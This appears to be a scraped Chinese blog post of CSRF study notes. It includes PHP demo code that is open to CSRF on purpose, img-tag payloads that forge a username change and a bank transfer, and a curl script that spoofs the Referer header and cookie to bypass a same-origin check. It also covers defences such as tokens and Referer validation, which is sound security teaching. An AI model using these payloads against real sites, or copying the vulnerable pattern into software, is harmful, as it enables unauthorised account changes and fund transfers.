原理 

登录受信任网站A,并在本地生成Cookie。
在不登出A的情况下,访问危险网站B。

 #csrfdemo.php
<?php
$data = json_decode(file_get_contents('data.json'), true); if($data['username']) { setcookie('uid', $data['id'], 0); echo "登录成功, {$data['username']}<br>"; }
6  ?>
7  <a href = "Update.php?uid=101&username=json"> 更新用户名 </a>
#CSRFUpdate.php   //exp
<?php
echo 'Change Username';
?>
<img src="../Update.php?uid=101&username=jsonp">

  

Update.php
<?php $str = file_get_contents('data.json');
$data = json_decode($str, true); empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
$data['username'] = $_GET['username'];
if(file_put_contents('data.json', json_encode($data))) {
echo "用户名已更改为{$data['username']}<br>";
} else {
die('更新失败');
} ?> 
#data.json
{"id":"101","username":"jsonp"}

Login CSRF 

登录界面CSRF - 无 Token(有Reffer和Session构造失败)

验证

Burpsuite生成POC

利用

伪造发送邮件/发消息/盗取账号/购买商品/虚拟货币转账/修改用户资料/传播恶意文件

转账

GET请求来完成转账操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
网站B,它里面有一段HTML的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
-》受害者点击
#新消息提醒的绑定邮箱CSRF未做过滤或者过滤不严,email验证链接存在逻辑问题。
结合这两点,可导致用户的私信、新评论、系统消息提醒等发送至攻击者邮箱

CSRF - 上传文件 

防御

静态语言

使用Hash加密cookie中csrf_token值

动态语言

使用Synchronizer Tokens
在表单里隐藏一个随机变化的 csrf_token csrf_token 提交到后台进行验证,如果验证通过则可以继续执行操作

Referer字段(同源)

 #Update.php
<?php
if(!empty($_SERVER['HTTP_REFERER'])) {
if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != 'csrfdemo.php') {
echo "非法请求";
exit();
}
}
$str = file_get_contents('data.json');
$data = json_decode($str, true); empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
$data['username'] = $_GET['username'];
if(file_put_contents('data.json', json_encode($data))) {
echo "用户名已更改为{$data['username']}<br>";
} else {
die('更新失败');
} ?>

Referer字段(同源)-绕过

//curl构造Referer头
<?php
function curl_post($url){
$refer = 'csrfdemo.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIE, 'uid=101');
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
// echo 'Change Username';
var_dump(curl_post("../Update.php?uid=101&username=jsonp445"));
?>
<img src="../Update.php?uid=101&username=jsonp445">

通过csrf_token csrf_token 进行验证(session+token)

绕过:session劫持+token劫持

 使用CORS

应用安全-Web安全-CSRF攻防整理的更多相关文章

  1. .NET Web开发技术简单整理

    在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何使用该技术,如何更好的使用该技术解决问题,而没有去关注它的相关性.关注它的理论支持,这种学习技术的方式是短平快.其实工作中有时候也是这样,公 ...

  2. 转载:.NET Web开发技术简单整理

    在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何使用该技术,如何更好的使用该技术解决问题,而没有去关注它的相关性.关注它的理论支持,这种学习技术的方式是短平快.其实工作中有时候也是这样,公 ...

  3. Web API CSRF保护实现

    Web API CSRF保护实现 这次自己实现了类似jQuery中ajax调用的方法,并且针对RESTFul进行了改造和集成,实现的A2D AJAX接口如下: $.ajax.RESTFulGetCol ...

  4. .NET Web开发技术简单整理 转

    .NET Web开发技术简单整理 原文:http://www.cnblogs.com/SanMaoSpace/p/3157293.html 在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何 ...

  5. web安全问题-csrf

    web安全问题 csrf <script> document.write(` <form name="commentForm" target="csrf ...

  6. Web安全之CSRF漏洞整理总结

    这两天整理和编写了csrf的靶场,顺便也复习了以前学习csrf的点,这里记录下学习的总结点. 0x01 关于CSRF 跨站请求伪造 CSRF(Cross-site request forgery)跨站 ...

  7. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  8. 移动端 Web 开发前端知识整理

    文章来源: http://www.restran.net/2015/05/14/mobile-web-front-end-collections/ 最近整理的移动端 Web 开发前端知识,不定期更新. ...

  9. 【web前端面试题整理06】成都第一弹,邂逅聚美优品

    前言 上周四回了成都,休息了一下下,工作问题还是需要解决的,于是今天去面试了一下,现在面试回来了,我感觉还是可以整理一下心得. 这个面试题整理系列是为了以后前端方面的兄弟面试时候可以得到一点点帮助,因 ...

随机推荐

  1. rest_framework框架的基本组件

    快速实例 Quickstart 序列化 创建一个序列化类 简单使用 开发我们的Web API的第一件事是为我们的Web API提供一种将代码片段实例序列化和反序列化为诸如json之类的表示形式的方式. ...

  2. elasticsearch——Rest Client

    https://www.jianshu.com/p/66b91bec12e3 elasticsearch——Rest Client 0.2372018.05.10 15:23:03字数 1287阅读 ...

  3. Codeforces Round #426 (Div. 2) - B

    题目链接:http://codeforces.com/contest/834/problem/B 题意:一共有26个门(A-Z表示),然后现在有n个人要走的门和k个守卫.每当有人要经过某个门时,门要一 ...

  4. JS深度比较两个对象是否相等

    /** * 深度比较两个对象是否相等 * @type {{compare: compareObj.compare, isObject: (function(*=): boolean), isArray ...

  5. u-boot Kconfig结构解析

    1 /u-boot-2019.07/Kconfig source "arch/Kconfig" 2 /u-boot-2019.07/arch/Kconfig  -->有一个一 ...

  6. php内置函数分析之current()、next()、prev()、reset()、end()

    current()初始指向插入到数组中的第一个单元 next() 将数组的内部指针向前移动一位 prev() 将数组的内部指针倒回一位 reset() 将数组的内部指针指向第一个单元 end() 将数 ...

  7. NOIP模拟赛(by hzwer) T1 小奇挖矿

    [题目背景] 小奇要开采一些矿物,它驾驶着一台带有钻头(初始能力值 w)的飞船,按既定 路线依次飞过喵星系的 n 个星球. [问题描述] 星球分为 2 类:资源型和维修型. 1. 资源型:含矿物质量 ...

  8. CSS3——制作人物走路的小动画

    一个很简单的小动画,但是还挺有意思的,就是找这种图片很麻烦,我这里把我找的一张图片贴上来,这张图片是我在网上找的,又改了背景色和大小. <!DOCTYPE html> <html l ...

  9. 【leetcode】1138. Alphabet Board Path

    题目如下: On an alphabet board, we start at position (0, 0), corresponding to character board[0][0]. Her ...

  10. 内核热patch

    如下代码是一个内核patch #include <linux/init.h> #include <linux/module.h> #include <linux/modu ...